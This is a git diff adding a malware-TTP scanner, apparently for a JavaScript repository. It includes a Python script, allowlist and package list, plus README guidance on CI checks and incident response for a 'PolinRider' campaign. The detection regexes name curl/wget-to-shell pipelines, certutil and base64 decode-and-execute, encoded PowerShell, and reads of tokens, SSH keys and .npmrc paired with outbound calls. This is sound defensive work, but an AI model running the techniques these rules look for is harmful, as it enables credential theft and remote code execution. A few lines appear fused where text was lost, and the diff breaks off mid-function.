`workflow_dispatch`. Workflow-level permissions are +`contents: read` only; no job declares `secrets:`; PR events use `pull_request` +(never `pull_request_target`); every third-party action is pinned to a full +commit SHA with a version comment. + +## Severity tiers and CI behavior + +| Tier | Meaning | CI result | +|---|---|---| +| **BLOCK** | High-confidence malware / workflow abuse | check fails — scanner exits **1** | +| **WARN** | Suspicious but needs human review | GitHub annotation (`::warning`), check **passes** | +| **ERROR** | Scanner crash / bad invocation / tool failure | check fails — scanner exits **2** (fail-safe) | + +Annotations use the form +`::{error|warning} file=path,line=N::[RULE] message` (error for BLOCK, warning +for WARN). A Markdown job summary is written to `$GITHUB_STEP_SUMMARY` and ends +with an **Incident response** section whenever any BLOCK finding is present. + +CLI annotation/JSON routing: with `--json-out -` (default) JSON stays on stdout +and annotation lines go to **stderr**; with `--json-out ` JSON is written +to the file and annotations print to stdout. `--summary PATH` always writes the +Markdown summary to `PATH`. + +Exit codes are stable: `0` = clean (WARN allowed), `1` = BLOCK present, +`2` = scanner error. The workflow does not use `continue-on-error`, so both +exit 1 and exit 2 fail the job. + +## Running locally + +```bash +# unit tests (stdlib unittest, no deps) +python3 -m unittest discover -s tests/malware-scan -v + +# scan the working tree +python3 scripts/malware-scan/scan.py --paths . + +# scan full git history (catches deleted/force-pushed payloads) +python3 scripts/malware-scan/scan.py --history + +# scan a commit range (as CI does for PRs) +python3 scripts/malware-scan/scan.py --base origin/main --head HEAD + +# optional outputs +python3 scripts/malware-scan/scan.py --paths . \ + --annotations --summary /tmp/report.md --json-out /tmp/findings.json +``` + +Companion tools (installed pinned in CI; install locally as needed): + +- **gitleaks** — secret scanning (`gitleaks detect --source . --redact`). + Config: `.gitleaks.toml` (allowlists inert scanner fixtures under + `tests/malware-scan/fixtures/`). +- **zizmor** — GitHub Actions static analysis + (`zizmor --persona auditor .github/workflows/malware-protection.yml`). + Scoped to this feature's workflow: `ci.yml` has pre-existing findings + (unpinned uses/images, artipacked, excessive permissions) and its + hardening is tracked separately (spec [S7] puts ci.yml changes out of + scope for this feature) — so the lint job would otherwise never go green. + `actionlint` still runs on **all** workflows and passes repo-wide. +- **actionlint** — workflow syntax/lint (`actionlint`). + +## Allowlist policy + +Suppressions live in `scripts/malware-scan/allowlist.json`. Each entry is: + +```json +{ "rule": "RULE-ID-or-glob", "path": "glob/for/path", "reason": "written justification" } +``` + +- **`reason` is mandatory** — the scanner rejects entries without one. +- Suppressions print to stderr (`allowlist: suppressed N finding(s)`) and the + remaining findings (post-suppression) appear in the job summary, so nothing + disappears silently. +- Prefer fixing the underlying false positive over adding an entry. When an + entry is truly needed (e.g. npm integrity hashes in `package-lock.json`), + scope it to the narrowest `rule` + `path` pair and write a concrete reason. + +## Incident-response checklist + +If a BLOCK finding (or gitleaks hit) fires on a PR or in the daily sweep: + +1. **Do not merge / do not deploy.** Revoke and rotate tokens that could have + been exposed on the affected machine: GitHub PATs, npm tokens, SSH keys, + cloud credentials. +2. **Audit force-push history.** PolinRider propagates by force-pushing into + writable repos — inspect `git reflog` and recently updated refs for + rewritten history. +3. **Run the history sweep locally:** + `python3 scripts/malware-scan/scan.py --history` + and follow this guide through cleanup. +4. **Clean up known PolinRider artifacts** using the OpenSourceMalware + developer guide and the [PolinRider scanner](https://polinriderscanner.com/) + reference — remove malicious config-file tails, `.vscode/tasks.json` + payloads, and injected lifecycle scripts, then rotate credentials *again* + after cleanup. +5. Re-run the full test suite and `scan.py --paths .` before reopening the PR. + +## Branch protection + +Mark the following checks as **required** in GitHub branch protection for +`main` (repository settings — out of scope for this workflow file itself): + +- `Malware Protection / TTP Scan` +- `Malware Protection / Secrets Scan` +- `Malware Protection / Workflow Lint` +- (on schedule/dispatch) `Malware Protection / History Scan` + +Without required checks, a red malware-protection run is advisory only. diff --git a/scripts/malware-scan/allowlist.json b/scripts/malware-scan/allowlist.json new file mode 100644 index 0000000..e19794f --- /dev/null +++ b/scripts/malware-scan/allowlist.json @@ -0,0 +1,24 @@ +{ + "allow": [ + { + "rule": "*", + "path": "tests/malware-scan/fixtures/*", + "reason": "Inert synthetic scanner test fixtures (see fixtures/README.md); excluded from live scans" + }, + { + "rule": "*", + "path": "docs/compose/*", + "reason": "Design/plan docs quote malware fixture payloads verbatim for documentation" + }, + { + "rule": "SUSP-HIGH-ENTROPY", + "path": "package-lock.json", + "reason": "npm integrity hashes are high-entropy by design" + }, + { + "rule": "SUSP-TYPOSQUAT", + "path": "package.json", + "reason": "Root manifest uses short legit package names (pg, tsx) that collide with the popular-name heuristic" + } + ] +} diff --git a/scripts/malware-scan/rules/typosquat_top100.txt b/scripts/malware-scan/rules/typosquat_top100.txt new file mode 100644 index 0000000..144ff83 --- /dev/null +++ b/scripts/malware-scan/rules/typosquat_top100.txt @@ -0,0 +1,77 @@ +angular +axios +babel-core +body-parser +bootstrap +browserify +chalk +commander +core-js +debug +dotenv +ejs +eslint +express +fastify +firebase +form-data +glob +graphql +handlebars +immer +jest +jquery +js-yaml +jsonwebtoken +koa +less +lodash +log4js +marked +mkdirp +moment +mongoose +morgan +nanoid +next +node-fetch +nodemailer +nodemon +npm +nuxt +passport +pm2 +postcss +prettier +prisma +puppeteer +qs +react +react-dom +redux +request +rollup +rxjs +sass +semver +socket.io +sqlite3 +styled-components +superagent +superset +tailwindcss +tar +ts-node +tslib +tsutils +tunnel-agent +typedoc +typescript +underscore +uuid +vite +webpack +ws +yaml +yargs +zod diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py new file mode 100644 index 0000000..1773c56 --- /dev/null +++ b/scripts/malware-scan/scan.py @@ -0,0 +1,1130 @@ +#!/usr/bin/env python3 +"""Malware TTP scanner. Stdlib only. Never executes project code.""" +from __future__ import annotations + +import argparse +import fnmatch +import json +import math +import os +import re +import subprocess +import sys +from dataclasses import asdict, dataclass +from pathlib import Path +from typing import Callable + +SEVERITIES = {"BLOCK", "WARN"} +SKIP_DIR_NAMES = {".git", "node_modules", "__pycache__"} +SCANNER_DIR_PREFIXES = (("scripts", "malware-scan"), ("tests", "malware-scan")) +MAX_FILE_BYTES = 5 * 1024 * 1024 + + +@dataclass(frozen=True) +class Finding: + rule: str + severity: str + path: str + line: int + message: str + + def __post_init__(self) -> None: + if self.severity not in SEVERITIES: + raise ValueError(f"invalid severity: {self.severity}") + + +Rule = Callable[[str, str], list[Finding]] +TEXT_RULES: list[Rule] = [] + + +def scan_text(path: str, text: str) -> list[Finding]: + """Run all registered text rules over one file.""" + findings: list[Finding] = [] + for rule in TEXT_RULES: + findings.extend(rule(path, text)) + return findings + + +CONFIG_FILE_RE = re.compile(r"\.config\.(js|cjs|mjs)$") +LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") +FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") +DECODE_FN_RE = re.compile(r"\b(eval|Function)\s*\(") +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from|\bBuffer\s*\.\s*from\b|\bunescape\b") +BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){3,}") +NETWORK_RE = re.compile( + r"\b(?:fetch|XMLHttpRequest|https?\.request|child_process|(?:exec|spawn)Sync)\b" + r"|(?:exec|spawn)\s*\(\s*['\"](?:curl|wget|base64)\b" +) +MODULE_END_RE = re.compile(r"^\s*(?:[])}]+;?|(?:export\s+default|module\.exports\s*=)\s*.*[];})])\s*$") +EVAL_RE = re.compile(r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(") +APPEND_SUS_RE = re.compile( + r"\beval\s*\(|\[\s*['\"]eval['\"]\s*\]\s*\(" + r"|\bchild_process\b" + r"|\.(?:exec|execSync)\s*\(\s*['\"](?:curl|wget|base64)\b" +) +APPEND_NET_RE = re.compile(r"\b(fetch|XMLHttpRequest|https?\.request)\b") +APPEND_POST_RE = re.compile(r"(?i)(?:method\s*:\s*['\"]post\b|\.post\s*\(|['\"]post['\"])") + + +def _is_config_file(path: str) -> bool: + return bool(CONFIG_FILE_RE.search(Path(path).name)) + + +def _strip_js_comments(text: str) -> str: + out = [] + i, n = 0, len(text) + mode = None + while i < n: + c = text[i] + nxt = text[i + 1] if i + 1 < n else "" + if mode is None: + if c == "/" and nxt == "/": + mode = "//" + i += 2 + continue + if c == "/" and nxt == "*": + mode = "/*" + i += 2 + continue + if c in ("'", '"', "`"): + mode = c + out.append(c) + i += 1 + elif mode in ("'", '"', "`"): + if c == "\\": + out.append(c) + if i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if c == mode: + mode = None + out.append(c) + i += 1 + elif mode == "//": + if c == "\n": + mode = None + out.append(c) + i += 1 + else: + if c == "*" and nxt == "/": + mode = None + i += 2 + continue + if c == "\n": + out.append(c) + i += 1 + return "".join(out) + + +def _tail_is_suspicious(tail: str) -> bool: + code = _strip_js_comments(tail) + if APPEND_SUS_RE.search(code): + return True + if any(_is_download_pipe(ln) for ln in code.splitlines()): + return True + return bool(APPEND_NET_RE.search(code) and APPEND_POST_RE.search(code)) + + +def _first_suspicious_tail_line(tail_lines: list[str]) -> int: + for j, ln in enumerate(tail_lines): + if ( + APPEND_SUS_RE.search(ln) + or APPEND_NET_RE.search(ln) + or APPEND_POST_RE.search(ln) + or _is_download_pipe(ln) + ): + return j + for j, ln in enumerate(tail_lines): + if ln.strip(): + return j + return 0 + + +def rule_polin_config_append(path: str, text: str) -> list[Finding]: + if not _is_config_file(path): + return [] + lines = _strip_js_comments(text).splitlines() + ended_at = None + for i, ln in enumerate(lines): + if MODULE_END_RE.match(ln) and _tail_is_suspicious("\n".join(lines[i + 1:])): + ended_at = i + if ended_at is not None: + tail_lines = lines[ended_at + 1:] + offset = _first_suspicious_tail_line(tail_lines) + return [Finding("POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + offset + 2, + "suspicious code appended after module end in a build config (PolinRider config-file payload pattern)")] + return [] + + +def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: + out = [] + lines = text.splitlines() + has_decode_fn = bool(DECODE_FN_RE.search(text)) + has_from_charcode = bool(FROM_CHARCODE_RE.search(text)) + has_decode_alias = bool(DECODE_ALIAS_RE.search(text)) + has_network = bool(NETWORK_RE.search(text)) + for i, ln in enumerate(lines, 1): + hits = [] + if LONG_B64_RE.search(ln): + hits.append("long base64/hex literal") + if BRACKET_ONLY_RE.search(ln): + hits.append("bracket-notation-only identifier chain") + if (FROM_CHARCODE_RE.search(ln) and has_decode_fn) or (DECODE_FN_RE.search(ln) and has_from_charcode): + hits.append("fromCharCode feeding eval/Function") + if (DECODE_ALIAS_RE.search(ln) and has_decode_fn) or (DECODE_FN_RE.search(ln) and has_decode_alias): + hits.append("eval over decoded input") + if EVAL_RE.search(ln) and has_network: + hits.append("eval combined with network/process API") + if hits: + out.append(Finding("POLIN-OBFUSCATED-JS", "BLOCK", path, i, + "obfuscated JavaScript construct: " + "; ".join(hits))) + return out + + +TEXT_RULES.extend([rule_polin_config_append, rule_polin_obfuscated_js]) + + +DOWNLOADER_RE = re.compile(r"(?i)\b(?:curl|wget|iwr|invoke-webrequest)\b") +DECODE_FLAG_RE = re.compile(r"(?i)\bbase64\s+(?:-d\b|--decode\b)") +SHELL_TARGET_RE = re.compile( + r"(?i)^\s*(?:sudo\s+){0,2}(?:[A-Za-z0-9_./-]{0,64}/){0,2}" + r"(?:env\s+){0,2}(?:[A-Za-z0-9_./-]{0,64}/){0,2}" + r"(?:sh|bash|zsh|powershell|pwsh|iex|cmd)(?![A-Za-z0-9_-])" +) + + +def _is_shell_target(segment: str) -> bool: + return bool(SHELL_TARGET_RE.match(segment)) + + +def _has_shell_pipe_after(text: str, start: int) -> bool: + _, *segments = text[start:].split("|") + return any(_is_shell_target(seg) for seg in segments) + + +def _is_download_pipe(ln: str) -> bool: + if "|" not in ln: + return False + m = DOWNLOADER_RE.search(ln) + return bool(m) and _has_shell_pipe_after(ln, m.end()) + + +def _is_decode_exec(ln: str) -> bool: + low = ln.lower() + at = low.find("certutil") + if at != -1 and low.find("-decode", at) != -1: + return True + m = DECODE_FLAG_RE.search(ln) + return bool(m) and _has_shell_pipe_after(ln, m.end()) + + +def _is_exec_pipeline(ln: str) -> bool: + if "|" not in ln and "certutil" not in ln.lower(): + return False + return _is_download_pipe(ln) or _is_decode_exec(ln) + + +TOKEN_REF_RE = re.compile( + r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN" + r"|process\.env\.[A-Za-z_$][\w$]*TOKEN|process\.env\.TOKEN" + r"|~\/\.ssh|\.npmrc|(? list[Finding]: + p = Path(path) + if p.name != "tasks.json" or ".vscode" not in p.parts: + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if _is_exec_pipeline(ln): + out.append(Finding( + "POLIN-VSCODE-TASKS", "BLOCK", path, i, + "VS Code task runs curl/wget piped to a shell " + "(PolinRider folderOpen execution vector)", + )) + return out + + +def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: + lines = text.splitlines() + out = [] + for i, ln in enumerate(lines, 1): + if TOKEN_REF_RE.search(ln): + window = "\n".join(lines[max(0, i - 6): i + 5]) + if EXFIL_RE.search(window): + out.append(Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", path, i, + "token/credential access combined with outbound network call " + "(token-stealer pattern)", + )) + return out + + +def _hook_key_line(text: str, name: str) -> int: + for key in (f'"{name}"', name): + pos = text.find(key) + if pos != -1: + return text.count("\n", 0, pos) + 1 + return 1 + + +def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: + if Path(path).name != "package.json": + return [] + try: + data = json.loads(text) + except (ValueError, RecursionError): + return [] + if not isinstance(data, dict): + return [] + scripts = data.get("scripts") + if not isinstance(scripts, dict): + return [] + out = [] + for name in HOOK_NAMES: + val = scripts.get(name) + if isinstance(val, str) and HOOK_BAD_RE.search(val): + out.append(Finding( + "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, _hook_key_line(text, name), + f"npm lifecycle script '{name}' invokes download/exec/obfuscation " + f"primitives: {val[:80]!r}", + )) + return out + + +TEXT_RULES.extend([rule_polin_vscode_tasks, rule_steal_token_exfil, rule_hook_malicious_script]) + + +WF_EXTS = (".yml", ".yaml") +KEY_LINE_RE = re.compile(r"^(\s*(?:-\s+)?)(\"[^\"]*\"|'[^']*'|[A-Za-z_][\w.-]*)\s*:(?:[ \t]|$)(.*)$") +COLLECTION_LINE_RE = re.compile(r"^\s*(?:-\s|[A-Za-z_][\w.-]*\s*:(?:[ \t]|$))") +ON_KEY_RE = re.compile(r"^on\s*:(?:[ \t]|$)(.*)$") +PR_TARGET_WORD_RE = re.compile(r"(? bool: + p = Path(path) + return p.suffix in WF_EXTS and ".github" in p.parts and "workflows" in p.parts + + +def _unquote_key(key: str) -> str: + if len(key) >= 2 and key[0] == key[-1] and key[0] in ("'", '"'): + return key[1:-1] + return key + + +def _strip_yaml_comment(line: str) -> str: + m = KEY_LINE_RE.match(line) + idx = m.start(3) if m else 0 + while idx < len(line) and line[idx] in " \t": + idx += 1 + if idx < len(line) and line[idx] in ("'", '"'): + quote = "" + i, n = idx, len(line) + while i < n: + c = line[i] + if quote: + if quote == '"' and c == "\\": + i += 2 + continue + if c == quote: + quote = "" + elif c in ("'", '"'): + quote = c + elif c == "#" and (i == 0 or line[i - 1] in " \t"): + return line[:i] + i += 1 + return line + for i in range(idx, len(line)): + if line[i] == "#" and (i == 0 or line[i - 1] in " \t"): + return line[:i] + return line + + +def _indent_of(line: str) -> int: + return len(line) - len(line.lstrip()) + + +def _find_pr_target_trigger(lines: list[str]) -> int: + in_on = False + on_indent = 0 + child_indent: int | None = None + for i, ln in enumerate(lines, 1): + stripped = ln.strip() + if not stripped or stripped.startswith("#"): + continue + m = ON_KEY_RE.match(ln) + if m and not in_on: + in_on = True + on_indent = _indent_of(ln) + child_indent = None + rest = _strip_yaml_comment(m.group(1)).strip() + if rest[:1] in ("|", ">"): + continue + if rest: + if PR_TARGET_WORD_RE.search(rest): + return i + in_on = False + continue + if in_on: + if _indent_of(ln) <= on_indent: + in_on = False + continue + if child_indent is None: + child_indent = _indent_of(ln) + if _indent_of(ln) != child_indent: + continue + if PR_TARGET_WORD_RE.search(_strip_yaml_comment(ln)): + return i + return 0 + + +STEP_MARKER_RE = re.compile(r"^(\s*)-\s") +CHECKOUT_ACTION_RE = re.compile(r"(?i)(?:^|/)checkout(?:/|$)") + + +def _step_span(lines: list[str], i: int) -> tuple[int, int]: + """(start, end) of the steps-sequence item containing line i, sliced by + the '-' marker indent. Comment and blank lines are not boundaries.""" + ind = _indent_of(lines[i]) + m = STEP_MARKER_RE.match(lines[i]) + if m: + start, marker_col = i, len(m.group(1)) + else: + start, marker_col = i, ind + for j in range(i - 1, -1, -1): + ln = lines[j] + if not ln.strip() or ln.lstrip().startswith("#"): + continue + li = _indent_of(ln) + if li < ind: + mk = STEP_MARKER_RE.match(ln) + if mk: + start, marker_col = j, li + break + end = len(lines) + for j in range(start + 1, len(lines)): + ln = lines[j] + if not ln.strip() or ln.lstrip().startswith("#"): + continue + if _indent_of(ln) <= marker_col: + end = j + break + return start, end + + +def _step_checks_out_head( + lines: list[str], + spans: list[tuple[int, int, str]], + chains: dict[int, tuple[str, ...]], + start: int, + end: int, +) -> bool: + for s, e, key in spans: + if s < start or s >= end: + continue + chain = chains[s] + if key == "ref": + for j in range(s, e): + if PR_HEAD_REF_RE.search(_strip_yaml_comment(lines[j])): + return True + elif key == "with" or "with" in chain: + if PR_HEAD_REF_RE.search(_strip_yaml_comment(lines[s])): + return True + return False + + +def _checks_out_untrusted_head(lines: list[str]) -> bool: + spans = _value_spans(lines) + chains = _key_chains(lines, spans) + scalar_content: set[int] = set() + for s, e, _key in spans: + scalar_content.update(range(s + 1, e)) + for i, ln in enumerate(lines): + if i in scalar_content or ln.lstrip().startswith("#"): + continue + m = USES_LINE_RE.match(ln) + if not m or not CHECKOUT_ACTION_RE.search(m.group(1)): + continue + start, end = _step_span(lines, i) + if _step_checks_out_head(lines, spans, chains, start, end): + return True + return False + + +def rule_wf_pwn_request(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "pull_request_target" not in text: + return [] + lines = text.splitlines() + trigger_line = _find_pr_target_trigger(lines) + if not trigger_line: + return [] + if _checks_out_untrusted_head(lines): + return [Finding( + "WF-PR-TARGET-CHECKOUT", "BLOCK", path, trigger_line, + "pull_request_target workflow checks out untrusted PR head " + "(pwn-request pattern)", + )] + return [Finding( + "WF-PR-TARGET-CHECKOUT", "WARN", path, trigger_line, + "pull_request_target without head checkout — verify no untrusted " + "input reaches run steps", + )] + + +def _value_spans(lines: list[str]) -> list[tuple[int, int, str]]: + """Spans (start, end, key) of YAML mapping-value scalars: key line plus + continuation lines. Collection values yield a single-line span so their + items are walked as structure, not scalar content.""" + spans: list[tuple[int, int, str]] = [] + i, n = 0, len(lines) + while i < n: + m = KEY_LINE_RE.match(lines[i]) + if not m: + i += 1 + continue + key_col = len(m.group(1)) + key = _unquote_key(m.group(2)) + rest = _strip_yaml_comment(m.group(3)).strip() + is_block = rest[:1] in ("|", ">") + if not rest and not is_block: + k = i + 1 + while k < n and not lines[k].strip(): + k += 1 + if k < n and _indent_of(lines[k]) > key_col and COLLECTION_LINE_RE.match(lines[k]): + spans.append((i, i + 1, key)) + i += 1 + continue + j = i + 1 + while j < n: + ln = lines[j] + if not ln.strip(): + if is_block: + j += 1 + continue + break + if _indent_of(ln) <= key_col: + break + j += 1 + spans.append((i, j, key)) + i = j + return spans + + +def rule_wf_script_injection(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "${{" not in text: + return [] + out = [] + lines = text.splitlines() + spans = _value_spans(lines) + chains = _key_chains(lines, spans) + for start, end, key in spans: + if key != "run": + continue + if "with" in chains[start][:-1]: + continue + if "steps" not in chains[start][:-1]: + continue + m = KEY_LINE_RE.match(lines[start]) + is_block = _strip_yaml_comment(m.group(3)).strip()[:1] in ("|", ">") + for j in range(start, end): + scan = lines[j] if (is_block and j > start) else _strip_yaml_comment(lines[j]) + for match in EVENT_EXPR_RE.finditer(scan): + out.append(Finding( + "WF-SCRIPT-INJECTION", "BLOCK", path, j + 1, + f"untrusted expression {match.group(0)} interpolated into run:", + )) + return out + + +def _key_chains(lines: list[str], spans: list[tuple[int, int, str]] | None = None) -> dict[int, tuple[str, ...]]: + """Map each _value_spans key-line index to its full key path + (outermost key first, including the key itself). Block-scalar + bodies are excluded because _value_spans consumes them.""" + if spans is None: + spans = _value_spans(lines) + chains: dict[int, tuple[str, ...]] = {} + stack: list[tuple[int, tuple[str, ...]]] = [] + for start, _end, key in spans: + m = KEY_LINE_RE.match(lines[start]) + col = len(m.group(1)) + while stack and stack[-1][0] >= col: + stack.pop() + chain = (stack[-1][1] if stack else ()) + (key,) + chains[start] = chain + stack.append((col, chain)) + return chains + + +def _job_blocks(chains: dict[int, tuple[str, ...]]) -> list[tuple[str, int]]: + """(job_id, key-line index) for each job under the root jobs: key, + in document order.""" + starts = [ + (i, chain[-1]) + for i, chain in chains.items() + if len(chain) == 2 and chain[0] == "jobs" + ] + starts.sort() + return [(job_id, i) for i, job_id in starts] + + +def _job_id_at(job_blocks: list[tuple[str, int]], index: int) -> str | None: + current = None + for job_id, start in job_blocks: + if start > index: + break + current = job_id + return current + + +def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "uses" not in text: + return [] + lines = text.splitlines() + scalar_content: set[int] = set() + spans = _value_spans(lines) + for start, end, _key in spans: + scalar_content.update(range(start + 1, end)) + chains = _key_chains(lines, spans) + jobs = _job_blocks(chains) + secrets_jobs = { + chain[1] + for chain in chains.values() + if len(chain) == 3 and chain[0] == "jobs" and chain[2] == "secrets" + } + out = [] + for i, ln in enumerate(lines): + if i in scalar_content or ln.lstrip().startswith("#"): + continue + m = USES_LINE_RE.match(ln) + if not m: + continue + name, ref = m.group(1), m.group(2) + if re.fullmatch(r"[0-9a-fA-F]{40}", ref.strip("'\"")): + continue + if re.fullmatch(r"sha256:[0-9a-fA-F]{64}", ref.strip("'\"")): + continue + severity = "BLOCK" if _job_id_at(jobs, i) in secrets_jobs else "WARN" + out.append(Finding( + "WF-UNPINNED-ACTION", severity, path, i + 1, + f"action {name} pinned to ref {ref!r} instead of a full commit SHA", + )) + return out + + +TEXT_RULES.extend([rule_wf_pwn_request, rule_wf_script_injection, rule_wf_unpinned_action]) + + +RULES_DIR = Path(__file__).resolve().parent / "rules" +TYPOSQUAT_LIST = RULES_DIR / "typosquat_top100.txt" +ENTROPY_MIN_LEN = 64 +ENTROPY_BITS = 4.8 +ENTROPY_TOKEN_RE = re.compile(r"[A-Za-z0-9+/=]{64,4096}") +PS_SHELL_RE = re.compile(r"(?i)\b(?:powershell|pwsh)\b") +PS_ENC_FLAG_RE = re.compile(r"(?i)(? float: + if not s: + return 0.0 + counts: dict[str, int] = {} + for ch in s: + counts[ch] = counts.get(ch, 0) + 1 + n = len(s) + return -sum((c / n) * math.log2(c / n) for c in counts.values()) + + +def rule_susp_high_entropy(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if len(ln) < ENTROPY_MIN_LEN: + continue + for m in ENTROPY_TOKEN_RE.finditer(ln): + if _shannon(m.group(0)) >= ENTROPY_BITS: + out.append(Finding( + "SUSP-HIGH-ENTROPY", "WARN", path, i, + "high-entropy literal (possible packed payload)", + )) + break + return out + + +def _edit_distance_bounded(a: str, b: str, k: int = 2) -> int: + if a == b: + return 0 + if abs(len(a) - len(b)) > k: + return k + 1 + prev = list(range(len(b) + 1)) + for i, ca in enumerate(a, 1): + cur = [i] + row_min = i + for j, cb in enumerate(b, 1): + v = min(prev[j] + 1, cur[j - 1] + 1, prev[j - 1] + (ca != cb)) + cur.append(v) + if v < row_min: + row_min = v + if row_min > k: + return k + 1 + prev = cur + return prev[-1] + + +def _locate_name_line(text: str, name: str) -> int: + pos = text.find(f'"{name}"') + if pos == -1: + pos = text.find(name) + if pos == -1: + return 1 + return text.count("\n", 0, pos) + 1 + + +def rule_susp_typosquat(path: str, text: str) -> list[Finding]: + if not Path(path).name.endswith("package.json"): + return [] + try: + data = json.loads(text) + except (ValueError, RecursionError): + return [] + if not isinstance(data, dict): + return [] + names: set[str] = set() + if isinstance(data.get("name"), str) and data["name"]: + names.add(data["name"]) + for key in ( + "dependencies", "devDependencies", "peerDependencies", "optionalDependencies" + ): + deps = data.get(key) + if isinstance(deps, dict): + names.update(k for k in deps if isinstance(k, str) and k) + if not TYPOSQUAT_LIST.is_file(): + return [] + popular = { + ln.strip() + for ln in TYPOSQUAT_LIST.read_text(encoding="utf-8").splitlines() + if ln.strip() + } + out = [] + for name in sorted(names): + if name.startswith("@") or name in popular or len(name) < 4: + continue + if any( + _edit_distance_bounded(name, pop) <= 2 + and abs(len(name) - len(pop)) <= 1 + for pop in popular + ): + out.append(Finding( + "SUSP-TYPOSQUAT", "WARN", path, _locate_name_line(text, name), + f"package name {name!r} is within edit distance 2 of a popular " + "package name (possible typosquat)", + )) + return out + + +def rule_susp_decode_command(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if _is_decode_exec(ln) or ( + PS_SHELL_RE.search(ln) and PS_ENC_FLAG_RE.search(ln) + ): + out.append(Finding( + "SUSP-DECODE-COMMAND", "WARN", path, i, + "decode-and-execute command string", + )) + return out + + +TEXT_RULES.extend([ + rule_susp_high_entropy, rule_susp_typosquat, rule_susp_decode_command, +]) + + +def _include_file(q: Path) -> bool: + if q.is_symlink() or not q.is_file(): + return False + # Oversized/binary content is handled by diff-mode rules later. + return q.stat().st_size <= MAX_FILE_BYTES + + +def _walk_error(exc: OSError) -> None: + raise RuntimeError(f"cannot walk {exc.filename}: {exc}") from exc + + +def _excluded_rel(rel: str) -> bool: + """True only for the scanner's own directories anchored at the repo root. + + Any other path containing a `malware-scan` component (e.g. a payload + hidden under `src/malware-scan/`) must still be scanned. + """ + return Path(rel).parts[:2] in SCANNER_DIR_PREFIXES + + +def _in_scanner_dir(path: Path) -> bool: + """True if `path` sits inside scripts/malware-scan or tests/malware-scan + (prefix pair anywhere in its components — used for explicit scan-path + arguments, where exclusion raises loudly instead of skipping silently).""" + parts = path.parts + return any( + parts[i:i + 2] in SCANNER_DIR_PREFIXES + for i in range(len(parts) - 1) + ) + + +def iter_scan_paths(paths: list[str]) -> list[Path]: + out: list[Path] = [] + for raw in paths: + p = Path(raw) + if not p.exists(): + raise RuntimeError(f"scan path does not exist: {raw}") + if p.is_symlink(): + raise RuntimeError(f"scan path is a symlink: {raw}") + if p.is_dir(): + found: list[Path] = [] + root_is_scanner_dir = _in_scanner_dir(p) + for dirpath, dirnames, filenames in os.walk(p, onerror=_walk_error): + rel_root = os.path.relpath(dirpath, p) + keep = [] + for d in sorted(dirnames): + if d in SKIP_DIR_NAMES: + continue + rel = os.path.join(rel_root, d) + if not root_is_scanner_dir and _excluded_rel(rel): + continue + keep.append(d) + dirnames[:] = keep + for name in sorted(filenames): + q = Path(dirpath) / name + if not _include_file(q): + continue + rel = os.path.join(rel_root, name) + if not root_is_scanner_dir and _excluded_rel(rel): + continue + found.append(q) + out.extend(sorted(found)) + else: + if not _include_file(p) or _in_scanner_dir(p): + raise RuntimeError(f"scan path is excluded by scanner policy: {raw}") + out.append(p) + return out + + +def run(paths: list[str]) -> list[Finding]: + findings: list[Finding] = [] + for f in iter_scan_paths(paths): + try: + text = f.read_text(encoding="utf-8", errors="replace") + except OSError as exc: + raise RuntimeError(f"cannot read {f}: {exc}") from exc + findings.extend(scan_text(str(f), text)) + return findings + + +ALLOWLIST_KEYS = ("rule", "path", "reason") +DEP_KINDS = ( + "dependencies", "devDependencies", "peerDependencies", "optionalDependencies" +) + + +def load_allowlist(path: str | Path) -> list[dict]: + p = Path(path) + try: + raw = p.read_text(encoding="utf-8") + except OSError as exc: + raise RuntimeError(f"cannot read allowlist {p}: {exc}") from exc + try: + data = json.loads(raw) + except ValueError as exc: + raise RuntimeError(f"invalid allowlist JSON in {p}: {exc}") from exc + if not isinstance(data, dict) or not isinstance(data.get("allow"), list): + raise RuntimeError(f"allowlist {p} must be an object with an 'allow' list") + entries = data["allow"] + for e in entries: + if not isinstance(e, dict): + raise RuntimeError(f"allowlist entry must be an object: {e!r}") + for key in ALLOWLIST_KEYS: + val = e.get(key) + if not isinstance(val, str) or not val: + raise RuntimeError(f"allowlist entry missing {key}: {e!r}") + return entries + + +def apply_allowlist(findings: list[Finding], allow: list[dict]) -> list[Finding]: + kept = [] + for f in findings: + suppressed = any( + fnmatch.fnmatch(f.rule, a["rule"]) and fnmatch.fnmatch(f.path, a["path"]) + for a in allow + ) + if not suppressed: + kept.append(f) + return kept + + +def _git_run( + repo: str | Path, args: list[str], *, stdin: bytes | None = None, + check: bool = True, +) -> subprocess.CompletedProcess: + proc = subprocess.run( + ["git", *args], cwd=str(repo), input=stdin, capture_output=True, + ) + if check and proc.returncode != 0: + err = proc.stderr.decode("utf-8", "replace").strip() + raise RuntimeError(f"git {' '.join(args)} failed in {repo}: {err}") + return proc + + +def git_changed_files(repo: str | Path, base: str, head: str) -> list[str]: + out = _git_run(repo, ["diff", "--name-only", base, head]).stdout + return [ + ln.strip() for ln in out.decode("utf-8", "replace").splitlines() if ln.strip() + ] + + +def _git_show_text(repo: str | Path, revspec: str) -> str: + proc = _git_run(repo, ["show", revspec], check=False) + if proc.returncode != 0: + return "" + return proc.stdout.decode("utf-8", "replace") + + +def rule_susp_new_binary(path: str, raw: bytes, mode: int | None = None) -> list[Finding]: + out: list[Finding] = [] + if b"\x00" in raw[:8192]: + 